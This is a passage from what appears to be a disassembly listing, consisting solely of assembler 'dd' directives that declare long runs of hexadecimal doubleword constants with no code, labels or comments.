0B2A0C0C1h, 0B391213Ah, 223F5C0Ch dd 3161995Eh, 3E693632h, 2058451Dh, 0D6CDB04h, 1850C263h dd 4D2100AAh, 0B723C06Eh, 0E01D8546h, 96402060h, 285AA764h dd 6D0F1429h, 98189461h, 19CA613Dh, 807D053Dh, 0D3F5409h dd 0A9E2EE3h, 3461488Ah, 4D381C44h, 0F3B8BDBBh, 0B80C0FDDh dd 10D243A4h, 39610A50h, 1B1E6037h, 0A34B58A2h, 115D6278h dd 8048B63Bh, 0A33EDE62h, 0EBAA8387h, 4098B2h, 6EF57641h dd 6339B3E8h, 83EAD51Fh, 0ECA9FE80h, 303F34A5h, 0B8515529h dd 0FD020A3Ah, 18E4D8E2h, 46E4805Dh, 3EF15B2h, 0BD3ABE0Dh dd 183E80C0h, 166A00FCh, 912D6E76h, 1D0F1428h, 38099056h dd 6C2014C5h, 4380EF9Ch, 595C18C0h, 0D1BC4B28h, 0A80060F0h dd 0BE7DDE89h, 964C9E50h, 80FB244Ch, 3C90108h, 0D1EB3058h dd 5AB33804h, 9488263Fh, 0C56C1083h, 0A48D039Eh, 125D1D07h dd 20BDAE70h, 0AD0F1E50h, 0AF186860h, 1219ABA4h, 20B753F4h dd 964DF10h, 2E48D960h, 495CA882h, 0C607BC33h, 0D33A3126h dd 50035994h, 3424121Fh, 7C40C7D5h, 36F84F2h, 0E4F10DEh dd 6400965Bh, 3A9B6463h, 12CF01h, 84480AE3h, 0DC68BA70h dd 71029974h, 6C95B808h, 74B7E03Dh, 0D010C3C5h, 1CE0FF93h dd 8300F945h, 1B252099h, 0E31ACFh, 84C7EB02h, 81496E27h dd 135DBB05h, 96C74070h, 22D68A40h, 0F93F0024h, 9A3475D5h dd 554974D7h, 49F3C60h, 948EAF51h, 0C0F9ACC1h, 5728B800h dd 0DDB4E050h, 19F53431h, 30F8F18Fh, 3B190122h, 0DF58B90Ah dd 80C850DAh, 0D724CD10h, 0F8190A4h, 0B21B2839h, 3C5D2085h dd 90D04EE5h, 561CD782h, 7808340Ah, 0C459145Fh, 854CDB81h dd 0C1C502CEh, 0CC14BD24h, 0C3009194h, 56B92B57h, 0C9FAE87h dd 3F98FF01h, 0C8F82321h, 6A592E12h, 0ED824801h, 5F7031DFh dd 0BDBF1911h, 328471ACh, 3895021Ch, 40B6E9A0h, 0EC611978h dd 513E8B0h, 0DCAA3290h, 364408BAh, 0F9A43180h, 0D2BA614h dd 0ADA53455h, 3B32DCB8h, 0E05C13E9h, 3974CC35h, 0FB2C90DDh dd 0E6BE8348h, 0C4980A5Dh, 1049C891h, 8FD30938h, 0C80EF2h dd 0A1647BF3h, 24A0A9A2h, 304B9020h, 63B95784h, 2800438Fh dd 252C45EBh, 0A05378E7h, 32295BB0h, 703A1BCEh, 139910E8h dd 85FC10C4h, 8C226B06h, 33883F55h, 894F07D0h, 0EE30CBA9h dd 11DA3Ah, 3104B741h, 0E3C98B7Fh, 0E6C4EF00h, 1E3F8022h dd 4A39CFD5h, 0D4AA051Ch, 8138D429h, 51734008h, 1307B138h dd 4B4DA9CCh, 0C20B0A6h, 1BA960C8h, 4730BF79h, 0FA52851h dd 385E4095h, 7E5CE510h, 0D0161E0Bh, 5853B418h, 7978FF00h dd 65E8394Dh, 747605CEh dd 0CAB04EBFh, 0BDED0060h, 9C48DE45h, 0E8803AE3h, 6D52142h dd 7128CD38h, 0A1F0DFE8h, 0BC706092h, 0C9A6540h, 6CCD3933h dd 0D7136111h, 385437A8h, 0CA9B10ACh, 31597Dh, 13E12784h dd 54BDA802h, 5A5D0064h, 0AE6018AFh, 458B8991h, 242A009Fh dd 0A9A48246h, 0B50335F1h, 0BF20EBD0h, 1C3E8008h, 0CCC4AA70h dd 0AD183068h, 3E926649h, 554D58h, 757CE1EBh, 7D1B44D5h dd 1E0200A2h, 0CFB907ACh, 3E619876h, 0A815C4A9h, 0E1E0170h dd 75400159h, 0DF198000h, 0EB2464DBh, 270F2BDAh, 6F953F25h dd 0E02079D4h, 7280D79h, 0C186E42h, 0E1D31C0h, 0F8018Ah dd 20BDA844h, 0B08B2D87h, 313A22E4h, 0A9229F80h, 0EFC48E06h dd 4485AA4h, 93303972h, 5358D4DBh, 5FDF0644h, 3C2219BBh dd 95B851F6h, 440A4034h, 0BB7C0FB0h, 18C0FF78h, 0A6251D0Ch dd 6107C8Bh, 456C7B74h, 303B41C6h, 773B4077h, 0ED388067h dd 0E85E5031h, 642078CDh, 4D5B401Ch, 19A45404h, 0FB005216h dd 283F8DDDh, 3484F4B9h, 9000CA15h, 0C4B114CDh, 4076EC31h dd 0A4C4CCA0h, 0C03B7B25h, 0A55A57B1h, 23012ED2h, 0A3B566F1h dd 0F4DC5FE2h, 3D0009Dh, 0F6DF0F8h, 0EE775990h, 0B8E62F1Eh dd 0B3D60540h, 2E2591ABh, 4034991Eh, 59A22C4Dh, 0B0354112h dd 589C7804h, 401A6E05h, 2D87014h, 17FE322Dh, 0A371E500h dd 0AA904823h, 0E4870009h, 0FAADB35Ch, 1028EF24h, 0B906D43Bh dd 3DD7AB01h, 7517CC0h, 33311C96h, 540AD0BCh, 9D26FCC1h dd 5811240Fh, 944DD0Fh, 798C74h, 76113692h, 3F8A5D97h dd 0AE992017h, 403BF848h, 0CBC75060h, 1850D0A2h, 11FEB240h dd 0B93AFBh, 4DB4C7E9h, 6CF1F2h, 5A3F7C87h, 5DB10E14h dd 71F1A06h, 3888B3F9h, 3C24D724h, 9330BCE4h, 0D2AA8F68h dd 1551B360h, 0B3450E9h, 7F6CC539h, 182890ACh, 0B680A094h dd 99349C6h, 0FAB70033h, 0B53D4AB8h, 40828BB2h, 82372184h dd 83F09C82h, 34DF9000h, 244CBA43h, 611C2A3Eh, 3C9096Ch dd 3E69D618h, 9300FA03h, 0DD464956h, 2B0EA7A6h, 0E09F8A29h dd 84A03E42h, 932014B9h, 3A2594D4h, 905FA4A0h, 86006CC4h dd 277DDA1Bh, 1494B965h, 0A04BD976h, 0EE1F7BC0h, 0E4006F9Ah dd 909661DCh, 0BACCDFC6h, 0B1BE2A00h, 0FC2F00C8h, 99BB0AABh dd 0C53072D3h, 7CB018F6h, 302C094Eh, 0C41210EEh, 515B8860h dd 1B4DE400h, 8489CE2Ah, 0F1D25Fh, 0EE8BD50Ch, 73011ACDh dd 0E20AE764h, 0A8E330BAh, 16A5D1Bh, 8AA1D390h, 200CFA34h dd 0D83A3234h, 9D1400DEh, 155E241Ah, 736C0BB1h, 9880826Ah dd 859FBFA8h, 75DCBCA0h, 74D7CC80h, 32D0C2C4h, 24609E1Eh dd 7D80AE79h, 33613EE9h, 7EB9E9E0h, 742CADD3h, 50285840h dd 4EB96B61h, 29805C99h, 0A8020DD1h, 410020E2h, 0D3CD1425h dd 4A10E3Ah, 40CEBD64h, 1B848159h, 0A0081054h, 20260596h dd 90091911h, 37E12188h, 0DF9A1F03h, 0A0154205h, 0A7F0E798h dd 93AA0804h, 0EAC09h, 648EF657h, 35E30168h, 0D752E83Eh dd 0E7198708h, 0ECC65321h, 5FCE1F40h, 0E071C0FCh, 0AEB37756h dd 12FBEF00h, 0FEA704BBh, 0DE22384Ch, 61CFF90h, 5B256898h dd 0C483F858h, 3532068h, 0E4F40E95h, 0C748D100h, 0E4001189h dd 8B0B6450h, 0D7D644h, 0E32E85F1h, 5FC7D4C9h, 80181A37h dd 600A41CEh, 10801017h, 0A8F0D34Ah, 6E009A61h, 0D233E56Ch dd 18392526h, 2913600Dh, 9250C3E7h, 733E9080h, 8FA881EDh dd 99DF4B0Bh, 6B2880EAh, 0C0AC3A53h, 0B94F0D78h, 0E65098DEh dd 13F0BE84h, 0A662B8C7h, 448A08CAh, 6586B4A0h, 0F041399Bh dd 0CF682A16h, 3F9270C0h, 84D4B061h, 6014188Ah, 7EE4791Bh dd 0B069D50Ch, 18DF213Dh, 59F46049h, 152A7FA5h, 0AA151838h dd 0DD814B6h, 71DA6E6Ah, 8FF722E6h, 673A0044h, 620803F1h dd 0A7943325h, 0B4FA880h, 78EAFCE5h, 840350E6h, 92538823h dd 38086A30h, 1ABF98h, 745AC24Dh, 244134D2h, 0C5022DF0h dd 0E664DEF0h, 52F09096h, 0EB4CA0E7h, 0A0B754CBh, 386B3068h dd 439DC7D1h, 9E0B340Eh, 0ECFF805Bh, 1651382h, 0DE1015E7h dd 82959A29h, 225D92C1h, 0A688054h, 1E212711h, 73661682h dd 1015D261h, 80D368h, 22A141A9h, 546A48E1h, 2B35A44Bh dd 4428959Fh, 0D1949208h, 4418289Ch, 6058F327h, 246A88E8h dd 0E31D4E00h, 0E2ECD822h, 0E00F2A2Eh, 176502C0h, 165D4215h dd 1A0640B4h, 0E1142EB1h, 3DCE0039h, 51DE0DC7h, 9E189157h dd 0C891D1ADh, 324C9223h, 0ED31EBDBh, 95BF3CB5h, 9A4FC73h dd 1331D50Bh, 6454F93Ch, 903497D2h, 66BCE8h, 0C43CEE0Dh dd 0C84F8BA4h, 4BD180E7h, 0AD7D12Ch, 0AA260AE1h, 1548346Bh dd 0CBB2BCF2h, 6151FE36h, 0E7566176h, 2EC216Fh, 0A8A730F8h dd 49398C1Ch, 611F6D31h, 0A9906533h, 0E8509FCFh, 70EF1401h dd 80EA112Dh, 0D1B46A71h, 39FA61FEh, 2FDCA80Bh, 0EF926B0Dh dd 31704791h, 0EDF7B124h, 8325E516h, 0ED835281h, 6201E19Dh dd 0A4DD2048h, 774414BCh, 3C24A0DCh, 5A6B8E9Ch, 91541380h dd 0BA3AE78Bh, 30C84008h, 8E38E484h, 90038052h, 0BB7461E1h dd 2E40C03Dh, 57050099h, 49CBED01h, 8000B84Eh, 0EEFED4A2h dd 31E381h, 0FDD2BB1Eh, 0D6ED7EE7h, 83A02328h, 7A0072E8h dd 4663AFA6h, 3E904F4h, 6883882Bh, 45C84D1Fh, 1E1B2E56h dd 1ED4B9h, 0A323B040h, 725A4257h, 1A21000h, 0B287F2Bh dd 744E0946h, 2D80A347h, 30E4423Fh, 0D4C0640Fh, 800F58h dd 569660B2h, 845A283Ch, 8D789AE0h, 0F8CA5704h, 5DD7E980h dd 9045AC90h, 6F7D00D8h, 0F07F330Bh, 480012C3h, 21B13A73h dd 3B13F3F7h, 94005F56h, 323503D2h, 40C0D6E2h, 37893DA2h dd 0BCE10010h, 0B1D762Ah, 0A51C4684h, 3E80683Bh, 58C62691h dd 38B80023h, 0E1803108h, 8E105FD6h, 7A3C3AB9h, 5C59B780h dd 72820AF4h, 0A336A700h, 13E84028h, 52240092h, 0F25338C4h dd 0A400E130h, 48AD8E97h, 1D7C4289h, 665A03A0h, 2EF11238h dd 9300BA94h, 9F9A5EB2h, 7948233Bh, 2AA50054h, 4B0AEF5Ch dd 7E47EE7Fh, 0FCF70073h, 53578F81h, 3F712DBBh, 0D6973900h dd 0F6BC9B66h, 2E44004Dh, 7F610BA6h, 40E26E2Bh, 0A080A400h dd 0F9C627Dh, 0C1FFCEAh, 353B2D8Ah, 6022D840h, 2E3E0098h dd 5E2AB4A3h, 4900C42Bh, 9C3DA94Bh, 0EAFCFB6Fh, 23330356h dd 3F043C8Ah, 61AA5599h, 58F7F0ECh, 0A81F4001h, 315E24B4h dd 0A0AE8C66h, 7E90553h, 0A39A23E1h, 7E0B4048h, 331DB975h dd 57DE3102h, 0DF006BD0h, 0E40AFA4Ah, 0F5002B65h, 804404D2h dd 0F62E192h, 4643F99Bh, 0A9711520h, 173C422Bh, 733080CCh dd 0FF6E6539h, 943800E7h, 0D2DC8A61h, 2F002853h, 0A35DDA55h dd 2539BEh, 3E16A3Bh, 0AF0014Dh, 0A20F77FEh, 206E9630h dd 329281F9h, 0D0BA001Fh, 5544E908h, 90006C11h, 374EF6A7h dd 1C2A212h, 9F15C62h, 60A12F77h, 0FD883AACh, 87210A59h dd 48883D2Dh, 80FDDF04h, 445EA301h, 5C00AB27h, 82D7256Bh dd 52E7244Dh, 27AC3440h, 7AEB4700h, 0CC246211h, 25430174h dd 2F3F3007h, 0C81C5CCBh, 0F102BB1Fh, 59EE1803h, 0D761B0DBh dd 0C4D302AAh, 0EA7064F0h, 92500720h, 7D6305F6h, 0E16C9432h dd 0D86DECh, 0F89257A0h, 3399DEDh, 0A330E56Ah, 0A4C3CA76h dd 0D4A814A3h, 7C002815h, 0F0E0712Bh, 176A8B44h, 0C73C24B0h dd 611A5040h, 27180D62h dd 0ACA9D0B9h, 895001B6h, 0D4E68EC7h, 4C69C17Ah, 0E0811C1Ch dd 715C6Dh, 43B15590h, 0D284DEE8h, 3C4580Fh, 413F8662h dd 0B7A0638h, 9034B060h, 2A9F9D1Eh, 10D2A40Ch, 769B1765h dd 82ACD7BDh, 7F0392B6h, 2640C90Dh, 9E21288Eh, 0B630CCECh dd 10CA1921h, 0E6EA80AEh, 0A894F757h, 0C838C0h, 0C30B7CA5h dd 0AB13D304h, 213C08CCh, 0A5D0004Fh, 0DA7A0954h, 5D015569h dd 900D1E13h, 0B18C0AC0h, 6B71B754h, 0B5F9DE60h, 3EC2A86h dd 8F2162A3h, 180AE63Fh, 0E861F0C5h, 0FD925BC0h, 33552163h dd 0AD001391h, 0D0DE9262h, 6778A574h, 44C22F00h, 9EA963F0h dd 33E50064h, 54A05A0Dh, 94A0D87Bh, 5037300Bh, 6FC0A023h dd 3062D705h, 0EFD98BC8h, 0C57BDE44h, 4E11EE00h, 9946BC49h dd 5B2800E9h, 6B96FA67h, 5F18C6DCh, 73486CBAh, 48493BF1h dd 0C0C87400h, 0D703E29Dh, 0B4DCBA03h, 0E07A188Eh, 4A74B7E3h dd 0BE00C08Fh, 0F67FE703h, 44ADC100h, 2BA569D3h, 832CAAC7h dd 4EADA4Ch, 0A215C8B8h, 2E38912Ah, 1E87913h, 0AD56A832h dd 0BF060DAh, 0D819D8E5h, 151DFD61h, 0D4016644h, 4E0DAF58h dd 1F99CE1h, 0ECEACC40h, 2A83156Bh, 0E222D412h, 3C763F00h dd 225CCD68h, 6A15121Bh, 755B00B6h, 4AE6F053h, 0E005DF29h dd 7A10E700h, 0E86BD1D5h, 73EB1934h, 80190812h, 0D5622521h dd 18FD1AC0h, 0FC73C151h, 9A004787h, 495497E2h, 60C8DD98h dd 0FA3FE9D2h, 0A8035B29h, 50E50AFFh, 39E23054h, 2A021121h dd 7F00E3E6h, 594219FFh, 7215D667h, 376831F8h, 503FC829h dd 6362BAF0h, 0B9B0C600h, 2264A956h, 5EEE00DCh, 0FF4EACD2h dd 4B04717Eh, 2994980Bh, 0E965300h, 0D8A06045h, 5891F0ECh dd 4E806211h, 4D63FC92h, 0AA15448Ch, 0C2925507h, 87C0C5CCh dd 522D6EB8h, 8840E40Ah, 217906C0h, 0B18E5222h, 8088650Ch dd 48608825h, 1E8054F7h, 89F94181h, 0AC1D8801h, 938034F1h dd 48359820h, 5923E833h, 7EA5C600h, 8605730Bh, 3514044h dd 0B8A2A5CEh, 48F1EE56h, 0DCA0F696h, 0B035443h, 10A0CA49h dd 70096B8Eh, 90824CC1h, 0D00090C0h, 0C0376049h, 14E59D39h dd 2E26E6EFh, 0F429E40Fh, 6D1811F1h, 0A88A0307h, 30CA2F84h dd 1393A41Fh, 2129DC32h, 4DBC142Eh, 0E21432D4h, 8B3A3014h dd 784A733Dh, 71B869h, 6C1F1394h, 0D5080045h, 0CBB7F770h dd 34987550h, 0E1949E50h, 4900D890h, 0D852D926h, 0C021CBECh dd 0CC748441h, 3F70B1A0h, 28876C00h, 30A9F30Fh, 37610166h dd 0A16863F5h, 8A84506h, 0CED788h, 4FA85929h, 3C44860Bh dd 2A08001Fh, 0BA561197h, 0B0026631h, 6B255F7Ch, 0CFA8901Ch dd 93183B40h, 0A283EE80h, 22B010B9h, 0BF874607h, 99D0A6AFh dd 125049EFh, 0F3E56C6Ah, 0F3DA0450h, 0ECD0FEBCh, 26FA40F0h dd 389D2Fh, 441684AAh, 0AF95152Eh, 526609D8h, 4879704Ch dd 5605506Bh, 8ED6AF26h, 0C03A883Ch, 0FBD77E17h, 0F5B67A1Fh dd 0B7CE8505h, 1601BC02h, 80085C9Dh, 9FD280AAh, 7324F554h dd 900460CBh, 0F10CD594h, 0E4066104h, 1B080EA8h, 986409E0h dd 0D28FE3h, 0EC800771h, 6B543621h, 6046B889h, 1A43CF2Ch dd 0B096B00Bh, 0A5D75800h, 56BFD0ADh, 31EE0273h, 0C4F2FD09h dd 12E42465h, 0FFE78260h, 0FDA37D00h, 5C0CBDBFh, 9B5414A7h dd 4F2484DEh, 8B66117Ch, 63808252h, 447C4C6Dh, 59009E1Bh dd 9CBFA092h, 927A396h, 0D9340274h, 2E3D8205h, 142328h dd 1A496E2Fh, 0EC7CA87Fh, 401FDE14h, 0CE6C0FA8h, 2E6D00E2h dd 3ECA0EACh, 0DD00C87Bh, 0D57DAA46h, 0E4A8D6CBh, 81020306h dd 4C826F0Ch, 31DC80F2h, 0B2EDADC9h, 2084644h, 6BCED567h dd 10163112h, 1ED56F30h, 28D9554h, 85862257h, 93FC6460h dd 91BB4586h, 79850260h, 629682D5h, 320074C7h, 0D13D561h dd 0E80940B5h, 1037A826h, 0BE5518C1h, 481B92EFh, 0D328443Ch dd 82C80641h, 85C28ECh, 3E345DD4h, 826CDCAAh, 74216888h dd 3A2312F8h, 14423A4h, 1090995Dh, 0C2488339h, 0C963FBD8h dd 84413803h, 1F2F605Fh, 1FE5D078h, 0A9309848h, 0E00D7EADh dd 93951416h, 0DE8C4ECh, 1F02018Ch, 95C1B3A0h, 302A619Ah dd 6109F21Ch, 1091CB90h, 9DEA6FC4h, 0A050C491h, 10F3D4C9h dd 5DA2AC0Bh, 0E5266C03h, 0E4D50560h, 7B8C2E1h, 0F32B4A2h dd 0CC0C8760h, 0BCC2C84Bh, 0E43CE54Ah, 6E3F603Ch, 9CBE0092h dd 8FF87B28h, 5F26D173h, 0F3983078h, 4A2E5099h, 0C1FC400Dh dd 654775B8h, 0B70D405h, 0A8949260h, 0C101A008h, 0FDC5D57Eh dd 881A185Ah, 0D5006629h, 9BE95CE1h, 1832AA43h, 21236349h dd 0B1C02CCBh, 24077AE1h, 8DB9010Fh, 2B9E32C4h, 61F8E4B5h dd 7864A026h, 4808AA92h, 0A5426F4h, 805C112Eh, 0D74F81BAh dd 6B246160h, 9980F41Dh, 0C903F427h, 0D44007Eh, 2908ECD0h dd 0F905E60Ch, 2ECA9BB8h, 0E27B4BC0h, 0F8B00Fh, 0BA15C867h dd 0E4900CE6h, 50800850h, 23FC9900h, 0DFEA447Ah, 0E6BC259Dh dd 8CB3540Bh, 13E332E1h, 9790E7C0h, 0F166B9D7h, 8C65A830h dd 0F9924F04h, 54CE7563h, 9256A100h, 0A3546619h, 21EAC700h dd 0F5658386h, 7E0E2EADh, 97E482FCh, 94833D1Fh, 61C66BAFh dd 9332C802h, 6085D6D3h, 4AE8353h, 17D2681Bh, 1588827Ah dd 0F024D423h, 1B40BD0h, 0D2D85432h, 0BDF3AC26h, 42DF01B6h dd 522289A7h, 0EEF4403Bh, 0C87AD761h, 3B2598E8h, 6B20A262h dd 902E0FE9h, 0AC182CCCh, 7AAEC609h, 3C2888F5h, 5600F82Ch dd 717CB619h, 37A30089h, 7FA6DD3Fh, 0F000C1A9h, 0B5A52A77h dd 2B278D74h, 4B81F75h, 0FC82DE60h, 1506208Ch, 81E8DCAh dd 64A4DE24h, 29FD60DAh, 0F7A8234Eh, 12003811h, 26592A05h dd 240ECFF5h, 8C286322h, 0B85378D3h, 2D14680h, 0A84F29F6h dd 103B311Fh, 29FE15h, 0D811A43h, 8A6F4AE3h, 0D1DB3913h dd 2475D8F2h, 41100C2Eh, 0D879FE67h, 4D394319h, 9C22AAC4h dd 882B7D00h, 0CCDA20B4h, 0E390006Bh, 1575A668h, 64B86C92h dd 4DAADD00h, 0B6E69B0Fh, 0DC72E394h, 0F901CE23h, 17A85229h dd 16882718h, 3A2A0001h, 0E3B0FC70h, 72046E5Fh, 0B636AC0Ch dd 4604F8FDh, 80E06A58h, 0E3E68450h, 0C0D068C8h, 0A85029F7h dd 14802743h, 7B9529FFh, 36F14204h, 34908DF7h, 0F604B41Ch dd 0BED40E3Ah, 512729E5h, 0BC219CC8h, 0BD09F400h, 7731C914h dd 0CC8C3F65h, 6B2ECB81h, 3E440393h, 5B181040h, 1D4C7082h dd 341301Ch, 0E4A46ED7h, 9CC0F3E2h, 0E56AAB53h, 0D90A70D8h dd 27C4D0D8h, 56344C1h, 88CCBF00h, 0B600957Dh, 4EB1353h dd 2475D8ACh, 5E384919h, 33003A46h, 0FA18A3BBh, 5A0AD808h dd 0E0ADFD71h, 2E936690h, 3272308h, 352EB076h, 5BD931FFh dd 933C28A0h, 0C055D008h, 0B7AA5D2h, 0B02CD34Fh, 0A5DA0055h dd 0C1C0FFBBh, 33001E86h, 0F2DD9A54h, 2EEEB3FBh, 1F20E3E5h dd 0D0A0A0F3h, 288030DFh, 92B45A0Fh, 4847E3CCh, 22602544h dd 6B00EEE3h, 4D76A1DEh, 2C0C7511h, 5E544B54h, 28771946h dd 17F8E15Dh, 408EAB90h, 0F758CD30h, 74B88F91h, 818392E4h dd 14285BD6h, 46434417h, 0A123CB80h, 69B5B800h, 126EA2F3h dd 4AA5018Ah, 9392F452h, 6AA1F4F6h, 0A9915803h, 50AD3DEh dd 0FAB21648h, 1F9AC312h, 552E4875h, 9944248Ch, 3E84F320h dd 2C44184Eh, 0F212C60h, 874412AFh, 6660DB18h, 27CDC062h dd 74113A6Ah, 85C1860h dd 5D63FA92h, 0AC4F08C4h, 0B92892A0h, 970E034Fh, 461AB037h dd 307A7170h, 6BA82F6Ah, 6182DE73h, 0C42C8284h, 9008E44Ch dd 490992A3h, 0E4D84544h, 8A706013h, 6F370FB3h, 5C017EDh dd 0DA7550C7h, 60109E06h, 2078CBFBh, 0F3120B1Eh, 50906B15h dd 18E69FA9h, 883A3B96h, 44169B70h, 1003DD92h, 0E4FEDE7Dh dd 0D5E41C8Dh, 426B25C8h, 2600D416h, 0DC3CD565h, 2E900D1Fh dd 43002128h, 802E09FAh, 86BB4D1h, 465430A0h, 6857001Ah dd 0FC180A4Eh, 0C4F8A25Dh, 0F8E750C8h, 0A61C2E9h, 0CDE6790h dd 1C27F712h, 5B57E130h, 5EF9059Bh, 878A450Dh, 0B34EB730h dd 94F4DEAAh, 0F27CE240h, 0A8ED300Eh, 0EE0071FCh, 0A6D2B31h dd 0A873BAFCh, 0C565FB8h, 4653223Fh, 262E4991h, 113117E3h dd 30F1880Dh, 5C70D083h, 30222D8Fh, 464C9011h, 0A5D50262h dd 31DB0B79h, 0DD52103Eh, 893100A5h, 79AA46EBh, 80014032h dd 6F26ECF5h, 0C180166Bh, 36F08B6Ah, 850068FEh, 679419FFh dd 28ACC17h, 21A3FA16h, 2C58BD54h, 56E6ED14h, 0A5C98044h dd 4F7B0B7Dh, 4E042805h, 2088D16Eh, 915E351Eh, 22CB5AA4h dd 3B2048F8h, 0B17F70h, 183B91Ch, 2EA546A0h, 5C73B801h dd 2C302B6Fh, 94DF024h, 1D67DEA8h, 0F4B0A8A1h, 18A70795h dd 0DFD081AEh, 2082E6D7h, 2FB4B06Ah, 20BECC0Ah, 0F3EC51D0h dd 3DC8680Ah, 19B495C0h, 14563FA7h, 0BC98DD27h, 2260CBDBh dd 896809E1h, 2C860748h, 0D06E6BCAh, 0BF59AAE1h, 0EE5F2701h dd 72490F03h, 0E48774F8h, 0A2C62FDAh, 659A2840h, 24D4612Eh dd 7C607A16h, 4DDC0EA8h, 2410BC41h, 34AE04DFh, 66803F46h dd 7EA2AC1h, 5E69F2C3h, 3B92F287h, 0E482E071h, 0F431EB97h dd 9DC18474h, 36D4E1F8h, 9017E31Ch, 15F45872h, 98495320h dd 3167848h, 6994D0C8h, 52073447h, 0DE53CEEDh, 4F057F12h dd 0EED960BCh, 0C0BE9F3h, 0E0D17890h, 0B87D86A4h, 137504BCh dd 0C105CA4Ah, 10D46980h, 6067C7D0h, 681E7808h, 84A2333Bh dd 68B99044h, 0CB182579h, 4497B50Bh, 19B0901Dh, 75631C74h dd 6777C153h, 0E804CD2Ch, 9009EEE0h, 65F8279Ah, 6110E484h dd 0A3F42896h, 1424B4D6h, 5C0EBA0Ah, 8700FF86h, 33E56BDDh dd 0D9BD9500h, 0E4282B2Eh, 0B609C31h, 7497EDDEh, 2A803A91h dd 3EAE0E2h, 9E70A805h, 7CF0B2A4h, 68901999h, 0DC46602Fh dd 535BB75Bh, 38238C2Fh, 0B7AA7D00h, 9C44DD14h, 9F843A1Ch dd 547050D7h, 8C14B814h, 833BDC39h, 0CC50470Ch, 217102D7h dd 7EFD8C6Ch, 0AA163DC0h, 3D9C0E17h, 1B98C844h, 0D82A1CD0h dd 5C653515h, 88D48E39h, 239CC038h, 8D280FEAh, 0C94CD86Bh dd 0A9C48014h, 73088C5Ch, 0D2B238A3h, 0F9D65B00h, 1B548DC8h dd 7446F21Dh, 0D8524BC9h, 96E50DEFh, 72A03493h, 3039F2B0h dd 2705AB7Dh, 927047AFh, 0EFD920D0h, 0D7D017B0h, 0CC88E05Bh dd 0D2BB6B0Ah, 0F301F4E2h, 3167681Dh, 50009826h, 0AEC1F96Ah dd 0D205622Eh, 0F177D752h, 452204A2h, 72FF800h, 54560D75h dd 0B6BE7EDEh, 0A66C00DCh, 7E9B93F1h, 7BD7510Ah, 46912020h dd 28980B05h, 0A50CE035h, 7ACD65Dh, 9B66550Ah, 9CAC1A44h dd 0B7A1408Dh, 10B42170h, 23706821h, 303AF2F8h, 0F801862Ch dd 0BAEC5965h, 207DCC56h, 37AF1D00h, 57F56D78h, 0A0E0F37Dh dd 4C123C01h, 2C13E0CDh, 4EDBC070h, 23443B31h, 0FB4C0339h dd 70E1F46Bh, 80746053h, 2E2E2C43h, 0F897A7B8h, 3B801891h dd 0CBCF7455h, 0F51FB05h, 0C8061650h, 3D2830EAh, 297CB33Dh dd 0C21B8h, 0B649BAC1h, 0D0964415h, 90E400DCh, 8AC3004h dd 126267DFh, 40A09860h, 25E83D29h, 0C848C92Eh, 1B5D9002h dd 92A81200h, 1BF2F8A2h, 76621230h, 0BA8013DCh, 9F68DBB2h dd 0CFA47FC0h, 7D9A08h, 0AD854BEh, 182EE4ACh, 2CA4B4BEh dd 3E46B308h, 8B64631Eh, 0C4835AFh, 88924EF8h, 0D19AD31Eh dd 497FE680h, 122BFA26h, 20E77BBFh, 900BCFCCh, 70FF8000h dd 0A9135E0h, 0DA42560h, 0F0B0850h, 0FA9D1694h, 0DD750904h dd 0D0021083h, 3A191F1Bh, 0F4300B10h, 84B0D248h, 0C81318BAh dd 76078FA4h, 57C57FECh, 408CD1C2h, 98E456ACh, 0AC934810h dd 99017E22h, 4A7CCA46h, 56E2D16Bh, 1546762Ch, 0D5F28A00h dd 0EF3FCC09h, 77B7D113h, 0B8F13C87h, 0C20F9D2h, 0E7912296h dd 0F7D918C4h, 0E60C5628h, 0D90DEEA4h, 1E3088E5h, 22121C03h dd 0A29F2C5Fh, 0A39482BEh, 0EC461809h, 6391C894h, 78A5D480h dd 448CA30Bh, 0DC075341h, 20CB08A5h, 0BA765000h, 0BE90073h dd 151A871Ch, 48BC3C28h, 3D0F2E85h, 9DC78040h, 9ABBBAACh dd 20617AC0h, 0AA0B9133h, 686099C6h, 8045A330h, 2001F185h dd 8893DFF4h, 0CC643370h, 3A6D0050h, 3E187FA4h, 4104767Ch dd 70796027h, 70FCBDh, 0B5D71B4Ah, 3EF835D9h, 0E7EB40h dd 0CA2690C5h, 0DA8A4E3Dh, 0FAC9B404h, 58A45ACBh, 0D5063A9Eh dd 0FE7EA48Ch, 0E502EAB0h, 167A8620h, 4A906473h, 5C1040C8h dd 0ACCBAD45h, 539D1B00h, 5F2E0FD5h, 40BF488Eh, 4A0C0E11h dd 4440585Dh, 72D2E730h, 926500C2h, 42930229h, 0F258C841h dd 8CAB108Ch, 0A7B7080Eh, 0A0089095h, 750006A2h, 0DD51AFDAh dd 0D0652892h, 0E0F25F4h, 3A442064h, 46965B49h, 0C12ECBD0h dd 0C2288100h, 24FE4210h, 0A423580Bh, 1579AC00h, 0C9F9E35h dd 32349013h, 201A00B4h, 7032CA18h, 0D71ECh, 83874E7h dd 389DDA30h, 8022D860h, 7F20536Bh, 87C7041Ah, 806A8935h dd 0CEFCE3CCh, 133E58C4h, 6F197B40h, 68126205h, 14D144E3h dd 98001650h, 0B29D3190h, 68084064h, 102D1281h, 0EB382318h dd 0F285FCh, 37ACD638h, 0CC64697Eh, 0A8ACEDA0h, 58C44B8h dd 30282B40h, 4A8821D4h, 34882BFEh, 0B6AA8826h, 0A73CB725h dd 6B6804DCh, 648168EAh, 22D1BE72h, 0C45AC9D0h, 9EC073A8h dd 0FFD68D44h, 18B44170h, 40232F2Bh, 3FF9180Ch, 0EF6B61EAh dd 9FE44B07h, 0E9C66AB6h, 1C5F619h, 50F8875Ch, 60EC2628h dd 0C0A00703h, 6CACD1FAh, 0A6F08F1h, 7ACF61EEh, 0C90E940h dd 0B020B7ECh, 426C8E67h, 0E0900A45h, 3A47A43Bh, 0DE084F78h dd 589220A3h, 3EE288E3h, 52C5230h, 63536C79h, 78B8A416h dd 143ED342h, 0B2D0A455h, 543790FEh, 73F89Ch, 3D48CDF8h dd 9E270D32h, 396A413h, 15E2E4E2h, 60549E10h, 600B8167h dd 9F802E40h, 7C84E2BCh, 5A990ACCh, 91B4674Eh, 4043013Bh dd 0EAA55D7h, 64055872h, 91490B68h, 3FB2B6BCh, 0B0630C60h dd 0C4C8A888h, 0DC9795EDh, 6B803B11h, 0AD8C5320h, 0B162A700h dd 764D1365h, 797E14E6h, 49B1D44Eh, 6BEE00EBh, 0E90C03CEh dd 2E3CB069h, 84D18824h, 6A091B11h, 